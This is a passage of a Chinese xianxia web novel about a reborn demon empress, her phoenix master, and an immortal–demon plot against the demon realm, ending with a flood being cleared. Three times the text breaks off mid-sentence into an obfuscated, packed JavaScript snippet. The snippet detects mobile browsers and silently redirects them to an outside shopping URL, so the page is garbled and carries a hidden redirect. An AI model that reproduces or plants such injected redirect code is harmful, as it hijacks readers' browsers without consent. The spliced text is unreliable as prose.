琉歌现在不能确定仙尊是否想起前世记忆,但若弥随音回到仙界,仙尊看到怨气,定能反应过来这是自己未来的手笔——再借此反推出,是人皇动用时间权柄回溯时间了。 前世,就是这个时间点附近,在琼寰大会结束之后,琉歌发现巨量的怨气跟着她回到了妖界,跗骨之蛆般附着她身,摆不脱,驱不掉。 她绝不能让凤凰回到仙界,毕竟自己耗尽心血,付出惨重的代价重生,就是为了早早向盟友揭露仙魔联手! 这张埋在最深处的牌被她早早摊开到盟友面前——这是她重生归来,一手创造的信息差和底牌! 琉歌按在桌上的手不动声色收回,掌心交叠置于腿上,金红色的细线融入阴影,隔开月光和裙裾表面的流光,瀑布般和银白长发一起垂落银发妖皇脚边,悄无声息的向凤凰仙君蔓延而去—— 琉歌对弥随音颇有好感,这是毋庸置疑的,不然也不会上一世邀请他成为第一神使,在基本确定了他忠于仙界后,这一世还是拖着迟迟不愿杀他。 可……到此为止了,不能妨碍她的计划,不能阻挡妖界的生路,这是一切偏爱和纵容的前提。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310239|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为何要送我回仙界?”谁知,弥随音蹙着眉,“琉歌,那些幼崽尚在疫病里挣扎,你怎么能在这种时候弃他们而去呢?” 他深深怀疑自己的教育出了什么问题,想不明白为何琉歌看着那些幼崽被病痛折磨的那么惨,还是一心要去仙界? “难道是因为琼寰会议吗?”他努力转动毫无权术天赋的大脑,思索推测道:“因为郁柏神子去了琼寰大会,所以你也想和他一样去仙界看看吗?” “……”琉歌深吸一口气,脸上的微笑几乎绷不住了,手掌一握,万千金红细线悄悄消散于月色中。她勉强扯出一点假笑:“师尊的意思是……不回仙界?” “当然了,既然已经有了镜明湖的地址,怨气又尚可以压制,我并不着急立刻回去——当然是要先治疗这古怪的疫病啊。”弥随音理所当然的答道,“我们走了,那些染病的幼崽怎么办?” 琉歌闭眼在心底默念冷静冷静,半响,还是“噗嗤”一声笑了出来,“师尊,”她低着头,整个肩膀都在抖,闷闷的发出一点笑音:“师尊,若我要在这里杀了你,你会反抗吗?” 凤凰仙君呼吸骤然一滞! 透过他颤动的白金色眼瞳,琉歌知晓,他想到了前世妖皇帝宫的那一幕。 好半响,久到一轮皎皎明月从院内槐树的左边都移到了右边,琉歌才听到了师尊的答案:“会。” 他声音极低,却出乎琉歌意料的坚定。 “我会反抗,若某天,我们真的走到那一步,我会反抗,跑到最远的天边,等你冷静下来……” “等我冷静下来?”琉歌歪头,疑惑的重复。 “你的人生太短暂,若你跟我一样,用十万年漫长的时间去闭关,思索自己为何活着,你就会明白,没有时间带不走的东西。” 弥随音直直望着琉歌,眼神沉痛而坚定,一时间组织不好语言,有些语无伦次,颠三倒四:“等你冷静下来,我就回来,琉歌,我会带走你,或者带走那个和让你暴怒,让你失控的东西。” “总之,我想你活着,只要性命还在,就有漫长的时光去想其余一切,琉歌,我想你寿与天齐。” ……罢了。 “世间最难之事不过时间与生死,”琉歌忽然冷漠的扭开脸,声音极淡,渺茫而空荡,“悲叹时间一去不复返者,多是因为心怀后悔之事,但我司掌因果权柄,能掌控万事万物的因,永远不可能酿出后悔的苦果。” “至于生死……呵,不过是妖皇一个念头的事。若我想,我可以赐福一个家族世世代代子嗣绵延,天赋过人,我也可以挥手间抹去一个家族辛苦延续的血脉,让这个血系从此再无幼童呱呱坠地的哭声。” 弥随音怔愣的看着少女清凌凌的眼,她想说什么呢?凤凰仙君下意识思索到,若生死和时间都不会让她失控或恐惧……她还会惧怕什么呢? “师尊,”银发妖皇审视而珍重的目光再次移回弥随音眉眼间,比月光更皎洁,比夜风更清冽,“我一直相信,相信自己永远不会后悔——但若真的有那么一天,我一定要杀你……跑吧,反抗我,去哪里都好。” “神谕不可违背,不可扭曲——”琉歌端正的坐在月色里,仿佛这不是第四洲一个简陋的小医馆,而是青丘那铺满青玉,嵌满明珠的玉牡丹帝宫。 “我在此立誓,若有一天,我真生出杀你之心……我只会出一招。” “一招之后,无论你是生是死,我都再不会对你出手。” “师尊,你可敢相信君无戏言。” 27. 仙界,怨气,冥界 时间往后拨,仙界第九重天,仙庭内琼寰大会上,各方攻讦尚未结束。 “当年人妖混战之时,问情斩人皇神使相凝,人皇立刻宣布开启琼寰会议,昭告四界将会亲自参战,和妖族彻底决裂。” 祝商序双手环抱,斜靠着仙庭内支柱,神情玩味,几乎挑衅般笑着问两人,“你们两位密不召开琼寰会议,难不成仙尊魔尊是觉得,自己的神使不如人皇的金贵?” “……都说人族史书工笔如刀,笔笔属实决不歪曲历史,没想到就是这么记载相凝被杀一事的。”说这话者,竟是进入神庭之后一直无话的惊轶。 惊轶一双眼死死盯着祝商序,他有一双狐族典型的狭长桃花眼,又是军师的定位,气质也不像常妄那样透着被血浸透的杀伐肃然,更偏向狡黠而圆滑。 但其左脸有一道狭长的疤痕,那长疤从其额角划过眉峰,横跨左眼落在颧骨上,虽然破坏了狐族狡黠气质,却也让他添了几分不符合年龄的冷肃杀气。 常妄糟心的瞥了一眼祝商序,在心底狠狠骂他哪壶不开提哪壶,随即认命的苦笑一声,挤到惊轶和春在野两人之间,一手一个按住了,同时低声警告惊轶道:“冷静!妖族不能再树敌了!” 龙尊死死攥着惊轶手腕,感觉着他几次绷紧又泄气,最后愤愤一挣,挣开了常妄的桎梏,语气哀痛,恨声道:“我知道!大局为重……” “相凝当年会见问情先皇,是带着人皇的和谈之令来的。” 惊轶冷冷盯着祝商序,“但他却恐惧于妖族渐起之势,惧怕妖族强大起来后,妖皇会做出比屠城更可怕的报复来,因此自作主张,故意袭击了有当时妖界炼药师首席,惊梦驻守的军事要塞,妄图挫伤妖族崛起速度。” “问情杀相凝,于情于理都并无不妥,你们人族不该隐去相凝之恶行。”赤狐长老语气森森,祝商序却只是冷笑,油盐不进,“嗤,在人界地盘杀人皇神使,有什么于情于理可言?” “果然是兽族,茹毛饮血,就算跟在人皇身边,也学不会一个礼字怎写!”见祝商序代表的人界毫无悔意,惊轶额角爆出道道青筋,只恨自己现在不是郁柏神使,不然定要让对面大言不惭之人付出血的代价! “够了!”眼看人妖两方又要陷入前尘往事一摊烂账里,仙尊无奈扶额出声喝止,“都停下,人妖两界的矛盾,该妖皇和人皇去谈,今日人皇都没来,在我这里争论,也无甚意义。” “至于暂时隐瞒茶清叙和风满怀之事,一是因为那时只是失踪,并未确定两人出了意外,二是……”梅若君斟酌许久,还是不好开口,于是眼神示意魔尊来说,黎狩大喇喇一挥手,嗤笑道:“有什么不好说的?” 他手肘撑于膝上,探身向前,像是在分享一个惊天八卦,语气神秘,表情做作,兴致高昂:“我和仙尊发现,他们两人有可能不是出意外双双陨落——而是有预谋的私通叛逃。” ……神庭内一时间肃然静默,无人敢开口。 私通叛逃,还是有着血海深仇的仙族跟魔族私通叛逃。 “何以见得?”最后,冥主兰因代表众人询问道:“不是说生不见人,死不见尸吗?私通叛逃之名从何而来?” 梅若君一副黯然神伤的姿态,长叹一声,掐了掐皱成一团的眉心,“事已至此,也不能瞒着诸位了,神使茶清叙失踪后,我们在她领地内搜出了大量书信,甚至还有可以直达魔界的秘密通道,这才发现,她和魔尊神使风满怀交流甚密,私交甚笃。” 兰因雾气化成的躯壳不动声色的向后蔓延了些许,白泽悄悄攥住一缕细雾笼至袖中,片刻后暗中传音道:“大人,仙尊所言属实,并未撒谎。” “但念即茶清叙是仙界第一位神使,当年带领众仙离开人界,回到仙界的领头者,又一手率众仙搭建起仙界九重天的基本格局。” 梅若君痛心至极,茶清叙一件件功绩他都记在心里,如今细细讲来真是如数家珍,感情饱满,“若我没有飞升成仙,初代仙尊绝对就是茶清叙了吧,虽然她一时糊涂走上歧路,我也不能将她的功绩一笔勾销。” “因此,我不愿,也不忍她最后落得叛徒之名,就让史书记住,她是仙尊神使,战死疆场吧。”梅若君金黄色的眼扫视众人,最后问道:“希望诸位替清叙保密,诸位可有异议?” 仙尊身后,至公道人率先一挥拂尘,俯身垂首,钦佩道:“仙尊圣明。” 半响后,仙庭外。 仙庭位于仙界第九重天,风景绝佳,据说找好角度能一次性将底下八重天尽收眼底。 东南边乃仙界南池,瀚海连天,各界宾客和飞升初上仙界者,南池都是他们进入仙界的第一站——来参与琼寰大会的郁柏妖皇一行人就是落地南池传送阵。 有体型宛如山峦的仙兽哗的一声破水而出,似鲸鱼,一遇风雨,水滴般流畅的身侧忽然化出双翼,其翼若垂天之云,随即长鸣一声,消失于云端。 “这是鲲鹏,当年混沌灵气诞生的神兽之一,性情平和不喜纷争,因实力稍差于我等,没被评上四仙兽。” 惊轶闻声回眸,白泽温和地笑笑,礼貌而从容的站在几步远处任他打量。 “白泽……你找我,这是来……”历经风雨的赤狐长老,此时声音艰涩的紧,一时间竟不敢继续说下去,生怕敲碎了幻梦,看到现实里自己一厢执念的丑陋嘴脸。 “当时,惊梦被相凝命中要害,搅碎了心脉,本应当场魂飞魄散,但幸好,问情来的足够及时,以神血封其识海,这才勉强将她的三魂七魄保存了下来。” 白泽笑眯眯的上前两步,将一颗拳头大小的魂珠,动作轻柔的塞进惊轶怀里,“耷拉着脸做什么,幼妹死而复生,惊轶,你做哥哥的,合该高兴才是啊!” 那年,问情横空出世,聚拢天下受压迫的妖族反击人族,惊轶和惊梦长谈一番后,都觉得问情值得信任,又因赤狐族老族长不同意族中子弟跟随问情涉险,于是赤狐兄妹俩干脆打了个配合,直接携手出逃,投奔妖皇魔下去了。 后来,惊轶成了首席军师,跟着问情四处征战,甚至以军功封妖皇神使,惊梦则以惊才绝艳的炼药天赋,成了妖界首席炼药师,以七品炼药师之资镇守后方。 惊梦被相凝所杀,所有人都悲痛不已,问情毫不犹豫,立刻找到冥主,以一枚妖皇之心作为交换,换祂温养惊梦生魂。 “高兴……怎么不高兴呢?”惊轶死死忍着才没有泪洒当场,珍而重之的仔细将惊梦魂魄收好,红着眼眶给白泽一行礼。 白泽往侧面一退,不愿受这一礼,“都是问情先皇的功劳,”他摆摆手,贴心的留惊轶一人平复心情,“若无问情妖皇以心脏相换,冥界也不会同意温养惊梦生魂。” 仙庭内,众神皆散去,唯有冥主和仙尊还留在原地。 “冥主还有话要说?”梅若君明知故问,装作一无所知的样子冲冥主一颔首,示意她畅所欲言。 冥主终日和白骨为伴,连人身也不需要,并无什么人的情绪,此时还是被仙尊装模作样的一段话激得冷笑一声。 “仙族最近联系冥界联系的很频繁。”祂直接开门见山道:“还请仙尊管好手下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310240|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仙君,我能理解他们拳拳爱子之心,但冥界亦有其自己运转的规则。” “冥主此言差矣,”梅若君哈哈大笑,“飞升之人前尘往事尽往,七情六欲皆断,哪里还有什么拳拳爱子之心?冥主所言不知从何谈起啊?” “算上前段时间刚刚平息的,仙魔之间已经挑起了两场位面之战,边境处小规模的冲突也有上万次。” 兰因声音极冷,缠着双目的白绸之上,幽绿的鬼纹正在缓缓弥漫,昭告着冥主的怒火:“还有仙魔两界尚在人界时打的几场仗,都是毒计频出,无数很多死状惨烈的灵魂,怨气不消不入轮回,堵在黄泉边,轮回口。” 祂将一份名单掷于仙尊面前,“那时,冥界不得不借仙界的力量超度亡魂,净化怨气,因此违背原则,给了你们仙族开了一些方便之门。但违背原则之事绝不能长久,现在冥界已经基本可以处理怨魂,还请仙尊严加看管手下,不要让冥界难做。” “自然,”仙尊也不去看那份名单,只将其压在手下,还是摆着一副温声细语的好姿态,“既然冥界已经不需要仙界提供帮助了,划清界限也无可厚非。” 有了处理怨魂的能力……?梅若君在心底冷笑,“看来,是时候往冥界投更多的怨气了呢。” 目送冥主离开,梅若君身后屏风后,突然传出一阵毫不掩饰的大笑—— “划清界限?”魔尊黎狩扶着屏风,笑得前仰后合,“梅若君,不得不说,你这个身份真是讨巧——无论多么拙劣蹩脚的借口,只要你说得出来,他们就会先信三分。” “魔还通六欲呢,怎么魔族跟他们打交道时,他们无论信不信都要抱着三分警惕心呢?”黎狩笑得斜依着屏风抹眼泪。 “魔族风评奇差,难道是我的问题吗?”梅若君依然只是温声细语的给自己沏了杯茶,笑道:“我看你给我当对照组,当的很开心啊。” 仙界南池,鲲鹏从云端俯冲入海,激起千层高的浪花。 “请等等!”浪头过去,祝商序踏上传送台,忽然听身后传来这么一声,他回头望去,只见一白粉长发,及笄年岁的少女御剑而来。 “茶晚山?”祝商序记得仙尊的介绍,“你来做什么?是仙尊还有话说? “不……不关师尊的事情,”茶晚山小小年纪倒是少年老成,身上有一种一丝不苟的严肃气质。 她缓了口气,望向祝商序,“祝神使,请问人皇身体如何了,当真如你所言,伤心过度么?” 祝商序蹙眉,在心底嘀咕:“这小丫头是替仙尊来打探消息的?这么直白?” “对,伤心过度,伤及根本,已经卧床不起,不能出门了。”自从在第四洲拿到前世记忆后,祝商序和人皇就完全清楚了仙尊的真面目,现在不想给仙界暗中下手的机会,于是不愿和茶晚山攀谈,随口敷衍道。 谁承想茶晚山闻言神色一冷,突然极其严肃的挡在祝商序面前,“请人皇务必保重身体!若某一日,仙尊不能挑起大梁,还望人皇尚有重新挑起五界重担的能力和准备!” ……这话说的就很古怪了,尤其是在祝商序知晓前世走向的情况下。 前世不就是仙尊勾连魔族德不配位,但能挑大梁的人皇却已经被暗算,在苍梧山接受天道幽禁三万年的惩罚了么? “梅若君今日还跟我们介绍你是他唯一的徒弟,未来的仙尊神使,你现在跑来,跟我说你师尊难挑大梁?”祝商序神情终于认真了一些,但茶晚山已经不能再逗留了,匆匆御剑而起,只反复叮嘱道:“还请转告人皇,若得空,晚山一定去苍梧山拜访!” 28. 大争之世 “常妄,此乃大争之世,你要出手夺名夺权,我不阻拦你。” 常妄站在传送阵上最后回望了一眼仙庭,和同样准备回到人界的祝商序对上了视线,两仙兽淡淡一点头算是道别,不知怎么,龙尊忽然想起五天前,和风弄堂在议事堂的密谈。 轮实力,风弄堂稍差常妄,但常妄敬佩他的智慧,和他又有共事问情,一起讨伐人族的战友情在,因此在离开第四洲之前,厚着脸皮去请教了一番风弄堂的看法。 “自从问情妖祖陨落后,这局势就没有一日是清晰的,”常妄叹息,“先是惊轶弄权,本以为妖皇大人诞生后定会血洗这玩权弄势的赤狐,谁知呢!现在,与神庭不和的神女被赶出青丘,远在第四洲隐姓埋名,低调做事。” “神子大人虽在圣坛证明身份,却完全听神庭指挥行事,”风弄堂苦笑,“可若说他和惊轶等旧任神使关系好,却也不对,因为除了正事,郁柏尊上平日里只是闭关,不见任何人,虽然尚未选定自己的神使,可同样也没有说过要继续用惊,春二人。” 两人相视苦笑,举杯浇愁:“不知道两位尊上在想什么,反正我们这些揣测圣心的人,近来是真苦啊。” “风弄堂,你聪明,伥鬼派屠戮人族增强实力,你却能和人族保持住若即若离的关系,交恶程度也总在你的掌控范围内——我腆着脸来你这里求个主意——你说,我们该押宝谁?”龙尊把酒杯一放,倾身前探,压低声音悄悄问。 “停停停,什么我们,只有你龙尊大人。” 风弄堂蓦的往后一靠和龙尊撇清关系,气的龙尊幽怨的指责他不厚道,风领主无奈,只好解释:“当年跟问情打人族,陆族翼族都是大出血,能投进去的全投进去了,现在已没有力量和水族,还有您水族之首争锋了。” “您要争神使之位,成功的可能性很大。”风弄堂宽厚的手掌摩挲着酒杯边沿,为虎族操劳半生,他早早露出疲态,明明修仙之人不辨年岁,他的鬓间却满是银霜。 “但你说要押宝谁……我的建议是——谁也别押。” 常妄先是皱眉不解,下意识反问道:“为何?”话一出口,自己却反应了过来,眼睛唰的亮起,“对啊,天有二主,前途难料,但无论谁最后上位成为妖皇,任免百官都要看这段时间对妖界的贡献——” “哎呀!”银龙一拍自己大腿,顿时喜笑颜开,“风弄堂,还是你聪明!怪不得问情先皇就喜欢第四洲,百忙之中还要抽出手来亲自解决你们的水患!第七洲也是水患不宁,妖皇就极少亲自出手。” “慎言——慎言!”风弄堂真是受不了,哭笑不得把他拽回椅子上按住了,“你是被神庭带着钻牛角尖了,才没想明白这么简单的道理。” 说到这,他反而在心底犯嘀咕,“这么显而易见的道理神庭没道理看不清,可神庭为何急匆匆要在神子神女之间站队呢?” “不过,我还是得提醒你,常妄,人外有人天外有天,琼寰大会神族齐聚,不说别的,想对妖界不利的人里肯定有魔族,魔尊。” “此行凶险,你要小心。” 传送阵光芒亮起,空间通道打开,另一边已经可以模糊的看到妖界了。 “想对妖界不利的神族,说不定就会挑你们这些随行神使的言行不妥之处来开刀——你万事低调,万事小心。”常妄想着风弄堂最后对他的警示,暗暗松了口气,踏进传送阵里。 眨眼间,白光闪过,一行人重新出现在妖界圣坛之上。 烛龙系和螭龙系的小辈早就在圣坛下等候多时了,眼见妖皇龙尊等人回来了,立刻兴奋的迎了上来,“妖皇尊上,龙尊大人,还有长老们!” 龙尊谨记风弄堂的警告,一路上都紧绷着心神,处处小心处处留心,眼下回了自己的地盘,终于把一颗心完全放回肚子里了,笑嘻嘻的揽过两个小辈,故意要校考他们的功课。 “我走这几日,可在学堂里好好用功?你们两个是这一辈最年长的,若还老想着带弟妹们调皮捣蛋,我就让妖皇尊上狠狠罚你们!” 烛龙和螭龙系的两个小辈顿时苦了脸,摇头晃脑哼哼唧唧的抱怨功课繁重,引得在场众人哄笑不止。 眼见着众人笑作一团,螭龙小辈给烛龙打了个眼色,烛龙明了,手往袖子里一揣,一枚光华内敛,只有拇指指甲盖大小的宝珠滑落掌心,被他利落的捏碎,顿时,一股无影无形的力量散于空气中。 “龙尊大人快跟我们回家吧,龙岛好多人等着给您接风洗尘呢!”烛龙小辈明显和常妄关系更亲近,被他吓唬了也不怕,笑盈盈的抓住了他的袖子扯了扯,常妄大笑着拍了拍她脑后勺,回头跟妖皇请辞。 怎么感觉妖界灵气这么浑浊呢……? 常妄忽然打了个喷嚏,疑惑的揉了揉鼻头,在小辈疑惑的目光里,很快把这一点细枝末节抛之脑后,只以为是习惯了仙界的灵气的纯粹和浓度,一时间反而不适应妖界浊杂的灵气了。 天上,交错的琼楼玉宇之间,一间无窗且狭小的暗室内,仙尊和魔尊正面对面席地而坐。 梅若君眉眼微动,规律敲击着桌面的手指忽然停住,片刻后睁开眼,轻笑了一声,“成了。” 黎狩满不在乎的拎着酒壶,闻言耸了耸肩,嗤笑他的紧张:“那些仙兽凶兽,仗着自己有类神的权柄和力量,就敢特立独行,其实最是自大自负,这种人最好算计。” “除了祝商序紧跟着人皇我们不好插手,凤凰,白泽,哪个不是尽在我俩掌控之中?”他咕嘟嘟灌了半壶酒下去,笑道:“还是你们仙界的酒好喝啊,魔酒太浑浊。” “常妄志在权势,本是四仙兽里最好拉拢的,若他愿意来仙界,起码不会丢了性命。”仙尊遗憾的叹息着,似乎极为惋惜常妄一步踏错,将自己送上了死局,让人几乎要恍然怀疑,这必死之局难道不是仙尊设下的? 梅若君在暗室里遥遥举杯冲明月一敬,将一杯酒匀速在身前倾倒出一条直线,“可他非要留在妖界,辅佐妖皇,真是可惜了,好好的四仙兽之一,又不像凤凰有涅槃之能,死了就真的死了。” “杀便杀了,我来琼寰大会之前,也刚杀了四凶兽之一的无支祁。” 梅若君闻言蹙眉,有些不满于黎狩的肆意妄为,“你行事太过肆意了,因你吞噬刑微雨,魔界本就分裂。争端不止,现在再杀四凶兽,难免让魔界众人人心惶惶。” 黎狩倾壶喝酒的动作顿在半空。 魔尊轻轻一歪头,那双典型的,魔化的,只有血红眼白而无眼珠的眼睛落在梅若君身上,神色不明。 半响,他挑眉嗤笑,往后一靠继续喝酒:“不肆意还修什么魔啊!” “那些循规蹈矩的正道修士,不是全都飞升到你手下了吗?” 梅若君向来好脾气,见谁都三份笑的眼此时却毫无笑意,“黎狩,”暗室无窗无光,不见天日,唯有仙尊一双金瞳亮如明星,又像刀剑利刃反光。 他冷声警告道:“我不管你在魔界闹成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310241|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么样,但是,你给我记住了我们的约定。” “若你胆敢有丝毫违背……” “我不介意重新当一回大义凛然的仙尊,就算以死为代价,也要踏破魔界九重天。” 与此同时,冥府之内,冥主兰因正和白泽,孟婆暗中议事。 “有人皇警告在先,两位此行可看出什么端倪了?”兰因叹息一声,只觉得头痛的厉害。 阴界不参与阳界中事,万万年来一直平和有序,兰因素来任务就是维护维护轮回,遇到紧急意外拍个板,偶然出手拉一两个怨气滔天的冤魂回冥界,帮助其放下执念投身轮回。 祂真的很不喜欢阳界那些人不知所谓的争斗——反正都要死,都要入轮回的,生前平和一点会怎么样啊! 但这次祂没法再袖手旁观了,因为按照前世记忆,仙魔两界踏平妖界后,显然并不满足,下一个目标不是人界就是冥界……但阳界力量已经失衡,祂又被天道限制,人界冥界注定只是负隅顽抗,这已经是死局了。 孟婆和白泽都是感知领域的高手,这也是冥主敢带他们两上仙界的原因。 “我看到……仙尊魔尊之间,远不是势同水火的关系。”孟婆有一头瀑布般漆黑浓密的黑发,幽绿的冥火所化的绿蝶点缀其间。 她在冥界主要负责解冤魂怨气,送他们入轮回,三千青丝就是她的能力,她能看到人和人,人和物之间的“情丝”,因此率先开口。 “按理说,仙魔两界刚刚经历过位面混战,死伤惨重,两人的关系应该势同水火——就像那个孩子,茶晚山,她从头到尾没有正眼看过魔尊,表情很是厌弃。” 孟婆忽然想到了那个初次露面的女孩,她有一双令人印象深刻的眼,肃然冷厉。 “可魔尊对妖皇出手后,魔气溢散,按理说仙魔本源对冲,仙气和魔气也水火不容,但仙尊不仅没有一点要驱散魔气的意思,反而视若无睹,继续谈话……像是已经习惯了魔气的存在一样。”孟婆拱了拱手,示意自己话已说完。 白泽思忖良久,提到了另一个方面,“冥主,孟婆,您二位可还记得,仙尊魔尊最开始说,茶清叙和风满怀两位神使在战场上失踪,下落不明。” 见冥主点头,他继续道:“后来,魔尊说风满怀已死,于是仙尊的态度立刻一转,明里暗里都是默认茶晚山也死了的意思——尤其是最后,又是在史书上隐瞒,又是感念其功绩,特别像是……” “而且,最后我叩问大地,大地告诉我仙尊所言属实。”白泽虽然战力稍弱一些,但通晓万物,这也是冥主带他前往仙界的原因。 “能杀神使的,只有神族。”兰因已经明白了白泽的意思,帮他补完了接下来的话。 “魔尊那么笃定风满怀已死,说明他亲手杀了风满怀。” 冥主微微抬眸,被白绸遮蔽的目光遥遥投向渺远的仙界,“仙尊那么笃定茶清叙也身亡,第一,说明他知晓两位神使在一起,茶清叙从头到尾,在他眼里从来不曾真正的‘下落不明’过。” “第二,梅若君可能自己也没有意识到,他着急将私通魔界的罪名甩到茶清叙身上,其实反而暴露了自己才是那个和魔族联系紧密的人。” “准备联系妖皇吧,这一次,冥界必须早做打算,绝不能让梅若君和黎狩的计谋再得逞一次!”兰因拍板道,谁知白泽和孟婆面面相觑,白泽尴尬的摸了摸鼻尖,询问道:“冥主尊上……我们联系哪位妖皇?” “啊?” 29. 水患解除 比山峦还要巨大的赤红凤鸟振翅而起,于第四洲上空的云霄中发出阵阵清亮长鸣。 凤凰火化为漫天赤红的牡丹花,宛如绵绵细雨,细细密密,飘飘摇摇的自空中降下,代替淤泥,淹没了刚刚退去洪水,散发着阵阵腐烂味道,泥泞一片的绣骨平原。 赤色牡丹接触到地面的刹那间,漫天大火冲天而起,火舌肆虐而过,将洪水带来的,淤积在绣骨内散发阵阵恶臭的淤泥,腐尸,全部净化一空! “嘶……”几位领主在太华山高处看凤凰净化天地,藏纵夏看着眼前宛若神迹的一幕,眼皮跳了跳,暗暗倒吸一口凉气,微微弯腰,压低声音问身旁的长姐:“姐,我记得你当年在人界见过祝商序神使出手?” 藏权云面色有些凝重,她目光沉沉,落在独身一人站在更前面,正目不转睛注视着天穹中的凤凰的琉歌妖皇身上,闻言也压低了声音回道:“是见过,祝商序神使和问情先皇打过一场……怎么了?” “姐姐你说……凤凰仙君和祝商序神使,同为四仙兽,哪个现在更强一些?” 虽然不太想承认,但姐弟之间还是心有灵犀的,藏权云立刻懂了弟弟的意思——若人妖两界再次开战,失去了妖皇的妖族,还是人族的对手吗? 这也是问情先皇离去后,无数妖族所恐惧的一件事,若人皇在此时宣布讨伐妖界,要将被问情分割的地脉再收回人界……妖族失去神族,现在几乎是没有抵抗之力的。 幸好问情最后留下了屏障,护佑妖族百姓。 “……”藏权云抿唇陷入沉思,半响摇了摇头,“祝商序到底是神使,可以动用神族权柄,四仙兽没人是他的对手。” “但是,藏纵夏,妖皇是妖界的根基,但妖界也是我们的妖界——即使神族缺位,我们也不能失去方寸。” 黑发绿瞳的苍狼前领主目光坚毅,盯着自己天赋上佳而心性不足的弟弟,“妖界不仅要靠妖皇,更要靠你我,藏纵夏,我入赤琉璃近卫军时便宣誓过,会以生命守护妖界。” “姐姐!”藏纵夏眼泪汪汪的猛地抱住她的胳膊,“我也要去赤琉璃!” 藏权云额角蹦出几道青筋,毫不留情往他脑壳上狠敲了一下,语气却软和了下来,“问情妖皇制定的初版妖初律,看过没?第一条就是尊重和团结。你记住,妖族只有团结,才有一线生机。” “而且……我看这两人几天的相处,凤凰仙君还不一定就是妖界的助力呢……” 凤凰在绣骨平原之上低低的盘旋一圈,漫天大火宛如被无形之力吸引,纷纷而起,回归凤凰着火的双翼。 琉歌见时间差不多了,并指一点眉心——眉心神纹霎时大亮!坤元堪舆镜自她掌心飞上半空,琉歌抬手一挥,将神纹拓印注入半空中的堪舆镜内。 刹那间,不知从何处而起的大风吹得危秋一个踉跄,危天梭好笑的瞥了他一眼,目露嘲笑。 这几天,染上疫病的幼崽情况大好,她的孩子,危龛,虽然是病情最严重的那一批幼崽,现在也已经基本摆脱了危险,眼看着不日即将痊愈,危天梭心里沉甸甸的重压终于放下,难得露出一点笑颜。 随着大风而来的,还有四面八方的纯净灵气。 银发狂舞,墨紫色的眼瞳在银发间若隐若现,琉歌操控着飓风,将充斥着绣骨平原和天倾泊的浑浊灵气涤荡一空! 流转在外的灵气虽然被洪涝污染,但地脉内的灵气纯净依旧。 飓风带走了浑浊灵气后,坤元堪舆镜开始发挥它最重要的作用——操控地脉。 第四洲内,浓郁的近乎雾化的纯净灵气,在琉歌的指挥和牵引下自地脉内缓缓析出……一些靠灵气为生,对灵气浓度极为敏感的苔藓和细草,已经狂喜着抓紧时机舒展枝叶,眨眼间,第四洲居然绿意连绵。 虽然被洪水冲塌侵轧的断壁残垣依旧,但在弥随音和琉歌的双重努力下,第四洲已经焕然一新了。 堪舆镜落回琉歌面前,被她收回体内,弥随音在半空化为人形,轻巧优雅的落于琉歌面前,立刻就要俯身行礼,被预判了他动作的琉歌快走两步,一把制住。 “师尊,我说过,你不需要向我行礼。”她佯装不高兴的蹙了蹙眉,弥随音顿时有些无措,“不行,”他低声摇头,解释道,“我毕竟是妖界外客,不能对妖皇不敬……琉歌,快松手……” 琉歌哑然失笑,顺着他的意松手后退了半步,“师尊,敬你就是敬我啊,你我师徒不是一体的么?” 弥随音略一失神的空隙,琉歌已经随手拢了拢散乱的银发,在头顶挽了个简便的发髻——用的还是弥随音给她自保的那根青竹玉簪。 青翠的发簪,流光的银发,凤凰仙君忽然想到了上一世分别时,琉歌修长流畅的纤细皓腕,还有搭在她虎口和手腕的嫩绿柳枝。 “弥随音,下次见面时,告诉我你的答案吧?”前世暴君冷的像一阵寒风,总是面无表情的处理着妖界的一切,此时明明是分别在即,却见她少见的露出些微笑意来,转瞬即逝。 “成为我的第一神使吧,休戚与共,荣辱与共,从此与我一体,可好?” “妖皇尊上!”感受到第四洲灵气的浓度和纯净度都在逐渐恢复,藏纵夏难掩激动之情,率先俯身,敬而重之的冲琉歌行了个标准的陆族臣服礼,“感谢妖皇尊上出手,帮第四洲度过此次水患危机!” 远处,绣骨平原的东侧,逐云山脉内海镜和靛穹两条河奔流不息,深切而宽广的河道和坚固的大坝,拦住了一切翻过逐云山脉后直扑绣骨而来的山洪。 水库——琉璃堰,占地万顷,横亘在海镜河起源和中段之间,北送水入围海,南则缓缓放水入地势平缓的绣骨和天倾泊平原,靛穹流速更快,离山洪也更近,束水冲沙,将泥沙直冲入天倾泊,反正天倾泊四周也是沼泽湿地,这些沙石正好用来温养它。 